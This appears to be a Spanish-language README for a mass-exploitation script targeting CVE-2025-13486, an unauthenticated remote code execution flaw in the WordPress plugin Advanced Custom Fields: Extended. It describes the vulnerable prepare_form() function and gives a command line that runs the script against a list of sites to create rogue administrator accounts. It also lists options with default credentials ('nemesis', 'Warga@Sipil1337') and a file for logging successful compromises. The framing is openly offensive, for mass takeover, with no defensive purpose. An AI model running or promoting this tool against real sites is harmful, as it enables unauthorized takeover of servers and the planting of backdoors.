Explotación Masiva CVE-2025-13486

Advanced Custom Fields: Extended 0.9.0.5 - 0.9.1.1 - Ejecución Remota de Código No Autenticada en prepare_form

⚠️ Detalles de la Vulnerabilidad

El plugin Advanced Custom Fields: Extended para WordPress es vulnerable a la Ejecución Remota de Código en las versiones 0.9.0.5 a 0.9.1.1 a través de la función prepare_form(). Esto se debe a que la función acepta entrada del usuario y luego la pasa a través de call_user_func_array(). Esto permite que atacantes no autenticados ejecuten código arbitrario en el servidor, lo que puede ser aprovechado para inyectar puertas traseras o crear nuevas cuentas de usuario administrativas.

🚀 Uso

Ejecute el script desde la línea de comandos:

python CVE-2025-13486.py -l list.txt --email [email protected] --user new_user --password new_password

📝 Opciones

options:
  -u, --url URL         URL única del sitio WordPress objetivo
  -l yourlist.txt
                        Archivo que contiene lista de dominios/URLs
  --email, --email EMAIL
                        Correo electrónico a establecer 
  --user USERNAME
                        Nombre de usuario a crear (por defecto: nemesis)
  --password PASSWORD
                        Contraseña a establecer (por defecto: Warga@Sipil1337)
  -o output.txt
                        Archivo de salida para guardar resultados exitosos (por defecto: success_results.txt)